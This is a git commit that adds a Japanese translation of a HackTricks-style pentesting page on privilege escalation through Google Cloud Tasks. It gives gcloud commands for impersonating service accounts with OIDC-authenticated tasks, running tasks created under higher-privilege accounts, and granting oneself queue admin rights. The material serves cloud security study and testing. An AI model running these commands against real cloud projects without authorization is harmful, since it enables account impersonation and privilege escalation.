Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:30:39 +00:00
parent d87c34475a
commit 8c8904dc95
2 changed files with 46 additions and 0 deletions

View File

@@ -0,0 +1,45 @@
# GCP - Cloud Tasks Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Tasks
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
これらの権限を持つ攻撃者は、指定されたサービスアカウントのアイデンティティで実行されるタスクを作成することにより、**他のサービスアカウントを偽装**することができます。これにより、**IAMで保護されたCloud RunまたはCloud Functions**サービスに対して**認証されたHTTPリクエストを送信**することが可能になります。
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
これらの権限を持つ攻撃者は、**サービスアカウントに対する権限がなくても、既存のスケジュールされたタスクを実行**できます。これにより、以前により高い権限を持つサービスアカウントで作成されたタスクを実行することが可能になります。
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
このコマンドを実行する主体は、タスクのサービスアカウントに対して **`iam.serviceAccounts.actAs` 権限** を必要としません。しかし、これは既存のタスクを実行することのみを許可し、タスクを作成または変更する能力は付与しません。
### `cloudtasks.queues.setIamPolicy`
この権限を持つ攻撃者は、特定のキューに対して **自分自身または他の主体に Cloud Tasks ロールを付与** することができ、`roles/cloudtasks.admin` に昇格する可能性があります。これにはタスクを作成および実行する能力が含まれます。
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
これにより、攻撃者は自分が制御する任意のサービスアカウントに対して、キューの完全なCloud Tasks管理権限を付与することができます。
## 参考文献
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
{{#include ../../../banners/hacktricks-training.md}}